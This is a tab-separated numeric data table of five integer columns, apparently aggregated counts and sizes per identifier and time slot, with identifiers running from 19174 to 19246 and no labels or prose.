19174	1	2	0	0
19174	4	1	0	0
19174	6	1	0	0
19174	10	1	0	0
19174	18	1	0	0
19174	22	2	0	0
19174	49	1	0	0
19174	53	1	0	0
19174	54	2	0	0
19174	68	1	0	0
19174	89	1	0	0
19174	92	1	0	0
19174	93	3	0	0
19174	96	2	0	115
19174	130	2	0	115
19174	139	1	0	0
19174	188	2	0	115
19174	190	3	0	115
19174	192	1	0	115
19174	194	1	0	0
19174	196	1	0	0
19174	198	1	0	0
19174	202	1	0	0
19174	203	1	0	0
19174	205	1	0	0
19174	206	1	0	0
19174	207	2	0	0
19174	208	1	0	0
19174	211	1	0	0
19174	213	1	0	0
19174	214	2	0	115
19174	216	1	0	0
19174	220	1	0	0
19174	222	1	0	0
19174	227	1	0	0
19174	267	1	0	0
19174	276	1	0	0
19175	11	1	0	0
19175	23	1	0	0
19175	26	2	0	0
19175	41	1	0	0
19175	44	2	0	0
19175	52	1	0	0
19175	54	1	0	0
19175	66	1	0	0
19175	68	2	0	0
19175	99	1	0	0
19175	103	2	0	115
19175	151	1	0	0
19175	170	1	0	0
19175	186	1	0	0
19175	205	1	0	0
19175	216	1	0	0
19175	246	1	0	0
19175	266	1	0	0
19176	11	1	0	0
19176	20	1	0	0
19176	23	1	0	0
19176	24	1	0	0
19176	35	1	0	0
19176	41	1	0	0
19176	49	1	0	0
19176	55	1	0	0
19176	67	1	0	0
19176	82	1	0	0
19176	88	1	0	0
19176	106	1	0	0
19176	114	2	0	115
19176	115	1	0	0
19176	118	1	0	0
19176	134	1	0	0
19176	194	1	0	0
19176	210	1	0	0
19176	228	1	0	0
19176	268	1	0	0
19176	276	1	0	0
19177	7	1	0	0
19177	8	3	0	0
19177	9	2	0	0
19177	13	1	0	0
19177	25	3	1	6786
19177	26	2	1	6786
19177	28	3	1	6786
19177	37	2	0	0
19177	38	1	0	0
19177	39	1	0	0
19177	52	1	0	0
19177	67	2	0	0
19177	95	2	0	115
19177	98	1	0	0
19177	100	1	0	0
19177	117	2	0	115
19177	144	1	0	0
19177	150	8	0	8360
19177	151	11	0	3055
19177	154	1	0	0
19177	156	1	0	0
19177	159	1	0	0
19177	172	1	0	0
19177	188	1	0	0
19177	189	1	0	0
19177	197	1	0	0
19177	202	3	0	115
19177	203	1	0	0
19177	248	2	0	115
19177	267	2	0	0
19178	7	1	0	0
19178	10	1	0	0
19178	25	1	0	0
19178	26	4	1	6786
19178	42	1	0	0
19178	47	1	0	0
19178	48	3	0	115
19178	53	2	0	0
19178	65	1	0	0
19178	72	1	0	0
19178	74	1	0	0
19178	93	12	0	8360
19178	98	1	0	0
19178	99	2	0	0
19178	105	1	0	0
19178	118	3	0	0
19178	138	1	0	0
19178	139	2	0	0
19178	151	1	0	0
19178	156	2	0	115
19178	158	1	0	0
19178	168	1	0	0
19178	198	1	0	0
19178	206	2	0	115
19178	209	1	0	0
19178	211	1	0	0
19178	238	1	0	0
19178	251	3	0	115
19178	252	1	0	0
19178	267	1	0	0
19178	278	1	0	0
19179	5	1	0	0
19179	7	1	0	0
19179	15	1	0	0
19179	16	1	0	0
19179	27	1	0	0
19179	45	3	0	0
19179	48	1	0	0
19179	54	1	0	0
19179	55	1	0	0
19179	94	2	0	115
19179	118	3	0	1306
19179	130	2	0	0
19179	133	1	0	0
19179	142	1	0	0
19179	148	1	0	0
19179	157	1	0	0
19179	176	2	0	1306
19179	186	2	0	115
19179	238	1	0	0
19179	247	1	0	0
19179	250	1	0	0
19179	252	1	0	0
19179	253	1	0	1045
19179	254	1	0	1045
19179	260	1	0	0
19179	270	1	0	0
19179	275	3	0	115
19180	4	2	0	0
19180	13	1	0	0
19180	16	1	0	0
19180	30	1	0	0
19180	52	1	0	0
19180	53	2	0	0
19180	55	1	0	0
19180	56	1	0	0
19180	89	1	0	0
19180	101	4	0	115
19180	108	2	0	115
19180	132	1	0	0
19180	155	1	0	0
19180	173	1	0	0
19180	188	2	0	115
19180	190	1	0	0
19180	216	2	0	115
19180	221	2	0	115
19180	227	4	2	13572
19180	242	2	0	0
19180	275	2	0	0
19181	4	1	0	0
19181	16	2	0	0
19181	32	1	0	0
19181	49	1	0	0
19181	51	1	0	0
19181	61	1	0	0
19181	64	1	0	0
19181	87	1	0	0
19181	97	3	0	0
19181	155	2	0	0
19181	157	1	0	0
19181	183	3	0	115
19181	205	1	0	0
19181	210	1	0	0
19181	229	1	0	0
19181	236	1	0	0
19181	249	1	0	0
19181	250	5	0	0
19181	251	6	0	0
19181	253	2	0	0
19181	278	2	0	115
19181	280	2	0	115
19181	285	3	0	230
19182	7	1	0	0
19182	36	1	0	0
19182	53	2	0	0
19182	83	1	0	0
19182	135	1	0	0
19182	147	1	0	0
19182	155	2	0	0
19182	158	2	0	0
19182	159	1	0	0
19182	191	1	0	0
19182	232	3	0	0
19182	238	1	0	0
19182	246	1	0	0
19182	252	1	0	0
19182	260	1	0	0
19182	275	2	0	115
19183	32	2	0	115
19183	34	1	0	0
19183	46	20	0	1410
19183	54	1	0	0
19183	62	1	0	0
19183	63	1	0	0
19183	72	1	0	0
19183	98	1	0	0
19183	120	1	0	0
19183	122	1	0	0
19183	136	3	0	0
19183	137	6	0	0
19183	138	6	0	0
19183	139	3	0	0
19183	197	2	0	115
19183	206	3	1	6786
19183	221	2	1	6786
19183	223	2	0	0
19183	231	1	0	0
19183	238	2	0	115
19184	10	1	0	0
19184	20	1	0	0
19184	32	1	0	0
19184	46	20	0	1410
19184	51	2	0	0
19184	57	2	0	0
19184	69	1	0	0
19184	78	1	0	0
19184	188	1	0	0
19184	207	2	0	0
19184	226	1	0	0
19184	227	1	0	0
19184	273	2	0	115
19184	285	1	0	0
19185	39	1	0	0
19185	46	31	0	2180
19185	50	1	0	0
19185	52	1	0	0
19185	54	1	0	0
19185	98	1	0	0
19185	159	1	0	0
19185	179	1	0	0
19185	182	1	0	0
19185	209	2	0	0
19185	217	1	0	0
19185	263	1	0	0
19185	286	1	0	0
19186	77	2	0	115
19186	85	3	0	230
19186	166	2	0	0
19186	202	2	0	0
19186	211	2	0	0
19186	217	1	0	0
19186	245	1	0	0
19186	251	2	0	115
19186	262	1	0	0
19186	284	1	0	0
19187	46	1	0	0
19187	67	2	0	115
19187	79	1	0	0
19187	96	1	0	0
19187	123	3	0	0
19187	124	1	0	0
19187	129	1	0	0
19187	147	5	0	0
19187	148	6	0	0
19187	161	1	0	0
19187	175	1	0	0
19187	176	2	0	115
19187	188	1	0	0
19187	189	1	0	0
19187	199	1	0	0
19187	264	1	0	0
19187	273	1	0	0
19188	51	1	0	0
19188	53	2	0	0
19188	64	1	0	0
19188	90	1	0	0
19188	92	1	0	0
19188	100	1	0	0
19188	141	2	0	115
19188	147	1	0	0
19188	202	1	0	0
19189	14	2	0	0
19189	41	5	0	5282
19189	52	1	0	0
19189	53	1	0	0
19189	64	1	0	0
19189	93	3	0	230
19189	95	4	0	230
19189	104	1	0	0
19189	202	1	0	0
19189	212	1	0	0
19189	228	1	0	0
19189	241	1	0	0
19189	287	1	0	0
19190	7	2	0	1306
19190	26	1	0	0
19190	50	1	0	0
19190	57	1	0	0
19190	71	1	0	0
19190	96	2	1	6786
19190	97	1	1	6786
19190	99	2	1	6786
19190	100	1	0	0
19190	105	2	1	6786
19190	141	2	0	0
19190	193	1	0	0
19190	207	1	0	0
19190	218	1	0	0
19190	247	1	0	0
19190	253	2	0	115
19190	285	1	0	0
19191	8	1	0	0
19191	36	1	0	0
19191	44	1	0	0
19191	52	4	0	0
19191	55	1	0	0
19191	59	1	0	0
19191	69	2	0	115
19191	87	1	0	0
19191	95	1	0	0
19191	105	2	0	0
19191	108	1	0	0
19191	121	1	0	0
19191	127	1	0	0
19191	130	1	0	0
19191	144	1	0	0
19191	145	1	0	0
19191	147	3	0	0
19191	149	1	0	0
19191	154	2	0	0
19191	156	2	0	0
19191	157	1	0	0
19191	166	1	0	0
19191	198	1	0	0
19191	203	1	0	0
19191	216	2	0	0
19191	221	1	0	0
19191	227	1	0	0
19191	252	2	0	115
19191	255	1	0	0
19191	279	2	0	0
19191	286	1	0	0
19192	17	2	0	0
19192	49	1	0	0
19192	55	1	0	0
19192	56	1	0	0
19192	75	2	0	0
19192	94	1	0	0
19192	98	1	0	0
19192	152	1	0	0
19192	169	1	0	0
19192	223	1	0	0
19192	229	1	0	0
19192	258	1	0	0
19192	265	1	0	0
19192	266	1	0	0
19192	267	1	0	0
19193	45	3	0	0
19193	54	2	0	0
19193	79	1	0	0
19193	106	1	0	0
19193	116	1	0	0
19193	160	1	0	0
19193	170	1	0	0
19193	192	1	0	0
19193	196	1	0	0
19193	199	1	0	0
19193	200	1	0	0
19193	229	1	0	0
19193	230	1	0	0
19193	237	1	0	0
19193	245	1	0	0
19193	252	1	0	0
19193	260	1	0	0
19193	269	1	0	0
19193	278	1	0	0
19193	284	2	0	115
19193	286	1	0	0
19194	2	1	0	0
19194	14	1	0	0
19194	42	2	0	115
19194	59	2	0	2
19194	61	2	0	115
19194	72	1	0	0
19194	77	1	0	0
19194	120	1	0	0
19194	125	1	0	0
19194	166	1	0	0
19194	223	1	0	0
19194	233	2	0	0
19194	243	1	0	0
19194	249	1	0	0
19194	267	1	0	0
19194	275	1	0	0
19195	6	1	0	0
19195	25	1	0	0
19195	26	1	0	0
19195	40	2	0	0
19195	47	2	0	0
19195	53	2	0	0
19195	54	1	0	0
19195	84	2	0	115
19195	94	1	0	115
19195	95	2	0	115
19195	106	2	0	115
19195	116	1	0	0
19195	123	2	0	0
19195	124	4	0	115
19195	150	2	0	115
19195	214	1	0	0
19195	266	4	0	0
19195	268	2	0	0
19195	269	2	0	0
19195	279	1	0	0
19195	281	1	0	0
19196	10	1	0	0
19196	11	1	0	0
19196	23	2	0	0
19196	25	2	0	0
19196	37	1	0	0
19196	50	2	0	115
19196	54	2	0	115
19196	68	2	0	115
19196	80	2	0	0
19196	116	1	0	0
19196	150	2	0	115
19196	152	2	0	115
19196	166	1	0	0
19196	183	1	0	0
19196	185	1	0	1045
19196	201	1	0	0
19196	212	1	0	0
19196	234	1	0	0
19196	253	1	0	0
19196	271	4	0	230
19196	272	2	0	115
19196	273	2	0	115
19196	274	1	0	115
19196	275	4	0	230
19196	276	4	0	230
19196	277	2	0	115
19196	278	3	0	115
19196	279	4	0	230
19196	280	4	0	230
19196	281	4	0	230
19196	282	4	0	230
19196	283	5	0	230
19196	284	4	0	230
19196	285	4	0	230
19196	286	2	0	115
19197	0	3	0	230
19197	1	2	0	230
19197	49	1	0	0
19197	50	1	0	0
19197	51	1	0	0
19197	92	1	0	0
19197	101	1	0	0
19197	113	2	0	115
19197	128	1	0	0
19197	140	1	0	0
19197	220	1	0	0
19197	230	1	0	0
19197	258	1	0	0
19197	268	1	0	0
19197	282	1	0	0
19197	287	1	0	0
19198	4	1	0	0
19198	18	1	0	0
19198	23	2	0	0
19198	48	1	0	0
19198	54	3	0	115
19198	133	1	0	0
19198	181	1	0	0
19198	193	1	0	0
19198	196	1	0	0
19198	217	1	0	0
19198	232	3	0	0
19198	250	1	0	0
19198	270	1	0	0
19198	274	1	0	0
19199	49	1	0	0
19199	55	1	0	0
19199	56	1	0	0
19199	110	1	0	0
19199	116	2	0	115
19199	120	2	0	0
19199	149	6	0	115
19199	158	14	8	54748
19199	179	1	0	0
19199	182	11	5	34390
19199	183	5	3	20358
19199	185	1	0	0
19199	187	1	0	0
19199	195	1	0	0
19199	199	2	0	0
19199	200	1	0	0
19199	208	1	0	0
19199	220	1	0	0
19199	232	1	0	0
19199	239	1	0	0
19199	241	1	0	0
19199	271	1	0	0
19199	273	1	0	0
19199	279	1	0	0
19200	7	1	0	0
19200	45	2	0	115
19200	89	1	0	0
19200	90	1	0	0
19200	93	1	0	0
19200	111	2	0	115
19200	112	1	0	0
19200	125	1	0	0
19200	153	1	0	0
19200	158	2	0	0
19200	167	1	0	0
19200	175	2	0	115
19200	180	1	0	0
19200	181	2	0	115
19200	197	2	0	115
19200	202	1	0	0
19200	209	1	0	0
19200	210	2	0	0
19200	216	1	0	0
19200	238	10	4	27604
19200	239	4	4	27144
19200	252	2	0	115
19200	266	1	0	0
19200	267	1	0	0
19201	1	1	0	0
19201	3	1	0	0
19201	42	2	0	0
19201	47	1	0	0
19201	52	1	0	0
19201	53	1	0	0
19201	57	2	0	0
19201	73	1	0	0
19201	80	1	0	0
19201	110	1	0	0
19201	115	2	0	288600
19201	128	3	0	0
19201	130	1	0	0
19201	148	2	0	115
19201	149	1	0	0
19201	151	1	0	0
19201	168	1	0	0
19201	169	1	0	0
19201	171	1	0	0
19201	188	1	0	0
19201	192	1	0	0
19201	199	2	0	0
19201	210	1	0	0
19201	218	1	0	0
19201	228	16	8	54748
19201	233	1	0	0
19202	6	2	0	115
19202	15	1	0	0
19202	21	1	0	0
19202	48	1	0	0
19202	53	1	0	0
19202	54	1	0	0
19202	81	2	0	0
19202	140	2	0	0
19202	179	2	0	0
19202	191	1	0	0
19202	192	1	0	0
19202	198	3	0	0
19202	225	1	0	0
19202	229	1	0	0
19202	244	1	0	0
19202	247	2	0	0
19202	270	1	0	0
19203	37	4	0	577200
19203	38	1	0	0
19203	45	1	0	0
19203	48	1	0	0
19203	49	2	0	0
19203	62	1	0	0
19203	68	1	0	0
19203	76	1	0	0
19203	89	1	0	0
19203	97	1	0	0
19203	110	1	0	0
19203	116	1	0	0
19203	140	2	0	115
19203	146	2	0	0
19203	159	1	0	0
19203	179	1	0	0
19203	183	1	0	0
19203	187	2	0	0
19203	188	5	0	0
19203	190	1	0	0
19203	198	1	0	0
19203	199	2	0	115
19203	202	3	0	115
19203	238	1	0	0
19203	239	1	0	0
19203	243	1	0	0
19203	265	1	0	0
19203	266	1	0	0
19204	2	1	0	0
19204	7	1	0	0
19204	20	1	0	0
19204	21	1	0	0
19204	55	1	0	0
19204	56	1	0	0
19204	63	1	0	0
19204	114	1	0	0
19204	136	1	0	0
19204	154	1	0	0
19204	155	1	0	0
19204	223	1	0	0
19204	225	1	0	0
19204	230	1	0	0
19204	242	1	0	0
19204	256	1	0	0
19204	259	2	0	115
19204	268	1	0	0
19204	270	1	0	0
19204	277	1	0	0
19205	7	1	0	0
19205	9	1	0	0
19205	20	1	0	0
19205	89	3	0	115
19205	102	1	0	0
19205	204	1	0	0
19205	227	1	0	0
19205	239	1	0	0
19205	256	1	0	0
19206	21	1	0	0
19206	29	1	0	0
19206	34	2	0	115
19206	41	1	0	0
19206	47	1	0	0
19206	53	1	0	0
19206	59	1	0	0
19206	93	1	0	0
19206	109	1	0	0
19206	130	1	0	0
19206	133	1	0	0
19206	136	1	0	0
19206	140	1	0	0
19206	196	1	0	0
19206	217	1	0	0
19206	235	1	0	0
19206	248	1	0	0
19206	257	1	0	0
19206	258	1	0	0
19206	281	1	0	0
19206	287	2	0	115
19207	39	1	0	0
19207	43	1	0	0
19207	58	1	0	0
19207	65	2	0	0
19207	66	1	0	0
19207	96	1	0	0
19207	98	1	0	0
19207	111	1	0	0
19207	118	1	0	0
19207	155	1	0	0
19207	172	1	0	0
19207	173	1	0	0
19207	181	1	0	0
19207	196	1	0	0
19207	204	1	0	0
19207	219	1	0	0
19207	228	1	0	0
19207	236	2	0	115
19207	239	1	0	0
19207	247	1	0	0
19207	251	2	0	0
19207	274	1	0	0
19208	16	1	0	0
19208	19	1	0	0
19208	41	2	0	0
19208	42	1	0	0
19208	46	1	0	0
19208	49	1	0	0
19208	52	1	0	0
19208	53	1	0	0
19208	54	1	0	0
19208	68	1	0	0
19208	102	2	0	115
19208	113	1	0	0
19208	116	1	0	0
19208	118	1	0	0
19208	176	1	0	0
19208	178	1	0	0
19208	179	1	0	0
19208	188	1	0	0
19208	214	2	0	115
19208	218	1	0	0
19208	224	1	0	0
19208	252	1	0	0
19208	274	2	0	0
19208	279	1	0	0
19209	7	1	0	0
19209	16	2	0	115
19209	25	1	0	0
19209	28	2	0	0
19209	48	1	0	0
19209	85	1	0	0
19209	154	6	0	2
19209	207	1	0	0
19209	209	3	2	13572
19209	212	1	0	0
19209	230	1	0	0
19209	238	2	0	0
19209	254	2	0	115
19209	259	2	0	115
19209	266	2	1	6786
19209	273	1	0	0
19209	279	1	0	0
19210	12	1	0	0
19210	47	2	1	6786
19210	53	1	0	0
19210	81	1	0	0
19210	93	1	0	0
19210	108	1	0	0
19210	117	1	0	0
19210	137	1	0	0
19210	162	1	0	0
19210	168	1	0	0
19210	193	1	0	0
19210	200	2	0	115
19210	202	1	0	0
19210	216	2	0	115
19210	219	2	0	115
19210	237	1	0	0
19210	238	1	0	0
19210	241	1	0	0
19210	253	1	0	0
19210	254	1	0	0
19210	261	20	0	8851
19210	264	1	0	0
19210	271	2	0	0
19210	278	1	0	0
19211	4	1	0	0
19211	19	1	0	0
19211	51	2	0	0
19211	177	1	0	0
19211	236	1	0	0
19211	243	2	0	0
19211	252	1	0	0
19211	257	1	0	0
19212	0	2	0	115
19212	10	2	0	0
19212	111	1	0	0
19212	112	1	0	0
19212	118	1	0	0
19212	122	1	0	0
19212	144	1	0	0
19212	145	1	0	0
19212	151	1	0	0
19212	156	1	0	0
19212	171	1	0	0
19212	187	1	0	0
19212	198	1	0	0
19212	217	1	0	0
19212	227	3	0	115
19212	250	1	0	0
19212	252	2	0	115
19212	255	1	0	0
19213	3	1	0	0
19213	27	1	0	0
19213	50	1	0	0
19213	51	1	0	0
19213	54	1	0	0
19213	63	3	0	0
19213	64	5	0	0
19213	89	1	0	0
19213	90	1	0	0
19213	99	1	0	0
19213	120	2	0	0
19213	134	1	0	0
19213	151	1	0	0
19213	168	1	0	0
19213	195	1	0	0
19213	208	1	0	0
19213	218	1	0	0
19213	231	1	0	0
19213	250	1	0	0
19213	264	1	0	0
19213	283	1	0	0
19214	4	1	0	0
19214	15	1	0	0
19214	31	1	0	0
19214	58	2	0	0
19214	76	1	0	0
19214	104	2	0	0
19214	108	2	0	115
19214	110	2	0	0
19214	113	1	0	0
19214	147	2	2	0
19214	156	1	0	0
19214	186	1	0	0
19214	189	1	0	0
19214	200	1	0	0
19214	214	1	0	0
19214	222	1	0	0
19214	241	1	0	0
19214	269	2	0	115
19215	50	1	0	0
19215	75	1	0	0
19215	76	1	0	0
19215	85	1	0	0
19215	119	1	0	0
19215	131	2	0	115
19215	179	1	0	0
19215	187	1	0	0
19215	201	1	0	0
19215	231	1	0	0
19215	233	1	0	0
19215	234	1	0	0
19215	238	1	0	0
19215	243	1	0	0
19216	25	1	0	0
19216	43	1	0	0
19216	54	3	0	0
19216	55	1	0	0
19216	56	1	0	0
19216	57	2	0	115
19216	63	2	0	2
19216	64	1	0	0
19216	99	2	0	115
19216	104	1	0	115
19216	121	2	0	115
19216	128	1	0	0
19216	129	1	0	0
19216	148	1	0	0
19216	167	1	0	0
19216	169	3	0	0
19216	170	3	0	0
19216	178	1	0	0
19216	181	2	0	115
19216	208	1	0	0
19216	215	1	0	0
19216	217	1	0	0
19216	238	1	0	0
19216	240	1	0	0
19216	274	1	0	0
19216	281	1	0	0
19217	43	1	0	0
19217	77	1	0	0
19217	80	1	0	0
19217	191	1	0	0
19217	193	1	0	0
19217	225	5	0	230
19217	239	2	0	0
19217	248	1	0	0
19217	263	1	0	0
19217	264	1	0	0
19217	277	1	0	0
19217	285	2	0	0
19217	286	1	0	0
19218	0	2	0	115
19218	2	2	0	115
19218	7	1	0	0
19218	26	2	0	0
19218	42	1	0	0
19218	51	1	0	0
19218	52	1	0	0
19218	123	1	0	0
19218	124	1	0	0
19218	146	1	0	0
19218	149	1	0	0
19218	151	1	0	0
19218	155	2	0	0
19218	158	1	0	0
19218	162	1	0	0
19218	164	2	0	0
19218	172	5	2	119
19218	225	1	0	0
19218	242	1	0	0
19218	245	1	0	0
19218	271	1	0	0
19219	32	1	0	0
19219	50	1	0	0
19219	76	1	0	0
19219	80	1	0	0
19219	90	1	0	0
19219	102	1	0	0
19219	108	1	0	0
19219	137	2	0	115
19219	207	1	0	0
19219	208	1	0	0
19220	50	2	0	0
19220	53	1	0	0
19220	55	1	0	0
19220	59	2	0	115
19220	116	1	0	0
19220	136	1	0	0
19220	160	1	0	0
19220	162	1	0	0
19220	165	1	0	0
19220	178	2	0	115
19220	185	1	0	0
19220	200	4	0	0
19220	201	3	0	0
19220	207	1	0	0
19220	220	1	0	0
19220	227	1	0	0
19220	243	1	0	0
19220	244	2	1	6786
19220	252	1	0	0
19220	256	1	0	0
19220	276	1	0	0
19220	277	1	0	0
19220	286	1	0	0
19221	5	1	0	0
19221	6	1	0	0
19221	43	1	0	0
19221	49	1	0	0
19221	63	1	0	0
19221	64	1	0	0
19221	69	9	0	6818
19221	70	1	0	0
19221	73	2	0	0
19221	77	1	0	0
19221	79	4	2	0
19221	96	2	0	0
19221	114	1	0	0
19221	135	1	0	0
19221	150	1	0	0
19221	167	1	0	0
19221	184	1	0	0
19221	194	1	0	0
19221	209	1	0	0
19221	240	1	0	0
19221	276	1	0	0
19221	284	1	0	0
19222	26	2	0	115
19222	53	1	0	0
19222	82	1	0	0
19222	85	1	0	0
19222	92	1	0	0
19222	96	1	0	0
19222	97	4	2	154
19222	98	1	0	0
19222	103	1	0	0
19222	129	1	0	0
19222	140	1	0	0
19222	148	4	0	0
19222	154	1	0	0
19222	163	1	0	0
19222	175	1	0	0
19222	179	2	0	0
19222	180	1	0	0
19222	182	3	0	0
19222	190	1	0	0
19222	195	1	0	0
19222	203	2	0	0
19222	209	1	0	0
19222	220	1	0	0
19222	228	1	0	0
19222	265	1	0	0
19222	269	1	0	0
19222	270	2	0	115
19222	276	1	0	0
19223	24	1	0	0
19223	128	1	0	0
19223	182	1	0	0
19223	203	2	0	115
19223	208	1	0	0
19223	236	1	0	0
19223	237	2	0	0
19224	6	1	0	0
19224	32	1	0	0
19224	52	1	0	0
19224	84	1	0	0
19224	109	1	0	0
19224	111	2	0	115
19224	150	1	0	0
19224	241	1	0	0
19224	245	3	0	0
19224	255	1	0	0
19224	260	2	0	115
19225	14	1	0	0
19225	29	2	0	115
19225	31	2	0	115
19225	35	1	0	0
19225	54	1	0	0
19225	67	1	0	0
19225	76	2	0	115
19225	108	1	0	0
19225	168	1	0	0
19225	210	2	0	1045
19225	287	1	0	0
19226	30	1	0	0
19226	58	2	0	0
19226	68	1	0	0
19226	75	1	0	0
19226	109	1	0	0
19226	110	1	0	0
19226	125	6	4	27144
19226	209	1	0	0
19226	213	1	0	0
19226	227	1	0	0
19226	230	1	0	0
19226	233	2	0	115
19226	268	1	0	0
19226	277	6	0	102729
19226	278	3	0	64924
19227	7	1	0	0
19227	28	1	0	0
19227	33	2	0	0
19227	52	1	0	0
19227	53	1	0	0
19227	62	1	0	0
19227	116	1	0	0
19227	123	1	0	0
19227	138	1	0	0
19227	152	2	0	115
19227	251	1	0	0
19227	271	1	0	0
19227	272	3	0	0
19227	274	1	0	0
19228	7	1	0	0
19228	19	1	0	0
19228	47	2	0	115
19228	52	2	0	0
19228	69	2	1	6786
19228	79	1	0	0
19228	100	1	0	0
19228	129	1	0	0
19228	138	1	0	0
19228	152	2	0	115
19228	168	1	0	0
19228	169	1	0	1045
19228	189	1	0	0
19228	231	1	0	0
19228	236	1	0	0
19228	248	1	0	0
19228	250	2	0	1045
19228	277	1	0	0
19229	55	1	0	0
19229	61	1	0	0
19229	87	1	0	0
19229	98	1	0	0
19229	101	1	0	0
19229	112	1	0	0
19229	129	2	0	115
19229	153	3	0	0
19229	174	1	0	0
19229	284	1	0	0
19229	286	1	0	0
19230	0	2	0	0
19230	17	2	0	0
19230	26	1	0	0
19230	49	2	0	0
19230	64	1	0	0
19230	67	1	0	0
19230	76	2	0	115
19230	93	1	0	0
19230	102	2	0	0
19230	119	1	0	0
19230	140	2	0	1306
19230	147	1	0	0
19230	150	1	0	0
19230	170	1	0	0
19230	174	2	0	115
19230	185	1	0	0
19230	201	1	0	0
19230	224	2	0	115
19230	234	1	0	0
19230	239	1	0	0
19230	279	2	0	0
19231	1	1	0	0
19231	14	2	0	115
19231	50	2	0	0
19231	52	1	0	0
19231	65	1	0	0
19231	78	1	0	0
19231	79	1	0	0
19231	88	2	1	6786
19231	102	1	0	0
19231	103	2	0	0
19231	105	1	0	0
19231	112	13	0	76280
19231	159	2	0	0
19231	173	2	0	115
19231	205	1	0	0
19231	229	1	0	0
19231	231	1	0	0
19231	233	1	0	0
19231	239	1	0	0
19231	240	1	0	0
19231	247	1	0	0
19231	269	1	0	0
19231	272	1	0	0
19231	275	2	0	115
19232	0	1	0	0
19232	4	1	0	0
19232	39	1	0	0
19232	42	2	0	115
19232	45	2	0	115
19232	49	1	0	0
19232	51	1	0	0
19232	63	1	0	0
19232	75	1	0	0
19232	76	1	0	0
19232	87	1	0	0
19232	93	1	0	0
19232	99	1	0	0
19232	111	1	0	0
19232	121	3	0	115
19232	152	1	0	0
19232	163	2	0	0
19232	168	2	0	0
19232	172	1	0	0
19232	200	1	0	0
19232	203	1	0	0
19232	223	1	0	0
19233	25	1	0	0
19233	50	1	0	0
19233	52	2	0	0
19233	78	1	0	0
19233	103	1	0	0
19233	112	2	0	115
19233	117	1	0	0
19233	145	1	0	0
19233	177	1	0	0
19233	194	1	0	0
19233	211	1	0	0
19233	228	1	0	0
19233	267	1	0	0
19233	273	1	0	0
19234	8	1	0	0
19234	20	1	0	0
19234	40	1	0	0
19234	52	2	0	115
19234	61	1	0	0
19234	81	1	0	0
19234	93	1	0	0
19234	105	4	0	0
19234	146	2	0	0
19234	191	3	0	115
19234	251	1	0	0
19235	12	1	0	0
19235	29	3	0	115
19235	53	1	0	0
19235	62	1	0	0
19235	68	1	0	0
19235	78	2	0	115
19235	101	1	0	0
19235	107	1	0	0
19235	111	1	0	0
19235	116	1	0	0
19235	188	1	0	0
19235	200	2	0	0
19235	205	1	0	0
19235	206	2	0	0
19235	221	3	0	2342
19235	235	1	0	0
19235	250	2	0	0
19235	260	2	0	115
19235	267	1	0	0
19236	58	2	0	0
19236	100	1	0	0
19236	170	1	0	0
19236	178	2	0	0
19236	223	1	0	0
19236	226	1	0	0
19236	241	3	0	0
19236	248	1	0	0
19236	260	2	0	0
19236	273	1	0	0
19236	279	1	0	0
19236	285	1	0	0
19237	3	1	0	0
19237	20	2	0	0
19237	22	2	0	115
19237	24	1	0	0
19237	26	1	0	0
19237	63	1	0	0
19237	72	1	0	0
19237	77	1	0	0
19237	162	1	0	0
19237	193	1	0	0
19237	200	2	0	115
19237	202	1	0	0
19237	230	1	0	0
19237	235	1	0	0
19237	239	1	0	0
19237	241	1	0	0
19237	253	1	0	0
19237	266	1	0	0
19238	3	1	0	0
19238	4	2	0	0
19238	12	2	0	0
19238	29	1	0	0
19238	34	1	0	0
19238	35	1	0	0
19238	37	1	0	0
19238	49	1	0	0
19238	62	1	0	0
19238	88	1	0	0
19238	98	2	0	9598
19238	139	1	0	0
19238	147	1	0	0
19238	148	1	0	0
19238	202	1	0	115
19238	216	2	1	6786
19238	232	1	0	0
19239	48	2	0	0
19239	52	2	0	0
19239	59	3	0	115
19239	61	2	0	115
19239	94	1	0	0
19239	99	1	0	0
19239	112	1	0	0
19239	136	1	0	115
19239	137	1	0	0
19239	152	1	0	0
19239	178	2	0	115
19239	183	1	0	0
19240	10	1	0	0
19240	12	1	0	0
19240	51	2	0	0
19240	59	1	0	0
19240	88	3	0	115
19240	89	1	0	0
19240	101	1	0	0
19240	115	1	0	0
19240	144	1	0	0
19240	151	3	0	0
19240	152	5	0	0
19240	167	1	0	0
19240	215	3	0	115
19240	233	1	0	0
19241	14	1	0	0
19241	29	1	0	0
19241	52	1	0	0
19241	58	1	0	0
19241	59	1	0	0
19241	126	2	1	6786
19241	129	1	0	0
19241	160	2	0	115
19241	173	1	0	0
19241	178	1	0	0
19241	179	1	0	0
19241	188	1	0	0
19241	198	1	0	0
19241	205	4	0	3135
19241	206	1	0	1045
19241	228	1	0	0
19241	247	1	0	0
19242	28	2	0	0
19242	34	1	0	0
19242	35	1	0	0
19242	36	3	0	0
19242	43	3	0	0
19242	53	1	0	0
19242	65	3	0	0
19242	83	1	0	0
19242	101	1	0	0
19242	106	2	0	115
19242	112	1	0	0
19242	133	1	0	0
19242	134	4	0	0
19242	155	1	0	0
19242	172	1	0	0
19242	177	1	0	0
19242	178	1	0	0
19242	230	2	0	33934
19242	231	2	0	33910
19242	240	1	0	0
19242	242	2	0	0
19242	247	2	0	115
19242	248	1	0	0
19242	249	1	0	0
19242	252	1	0	0
19242	287	1	0	0
19243	13	1	0	0
19243	21	2	0	0
19243	53	1	0	0
19243	56	1	0	0
19243	60	2	0	115
19243	189	1	0	0
19243	194	1	0	0
19243	205	1	0	0
19243	234	1	0	0
19243	235	1	0	0
19243	245	1	0	0
19243	246	2	0	115
19243	269	1	0	0
19244	24	2	0	0
19244	42	1	0	0
19244	51	1	0	33880
19244	52	1	0	0
19244	56	1	0	0
19244	86	2	1	6786
19244	91	1	0	0
19244	107	1	0	0
19244	108	2	0	0
19244	124	1	0	0
19244	167	2	0	0
19244	211	2	0	0
19244	214	1	0	0
19244	241	1	0	0
19244	272	1	0	0
19244	277	2	0	0
19244	279	2	0	0
19244	287	1	0	0
19245	23	1	0	0
19245	85	1	0	0
19245	115	1	0	0
19245	116	2	0	115
19245	148	1	0	0
19245	163	1	0	0
19245	167	1	0	0
19245	182	1	0	0
19245	201	1	0	0
19245	205	1	0	0
19245	206	1	0	0
19245	208	1	0	0
19245	235	1	0	0
19245	250	2	0	0
19245	259	1	0	0
19246	14	1	0	0
19246	40	1	0	0
19246	45	1	0	0
19246	49	1	0	0
19246	50	1	0	0
19246	52	2	0	0
19246	69	2	0	0
19246	70	2	0	115
19246	72	2	0	115
19246	78	1	0	0
19246	79	1	0	0
19246	85	1	0	0
19246	92	1	0	0
19246	104	1	0	0
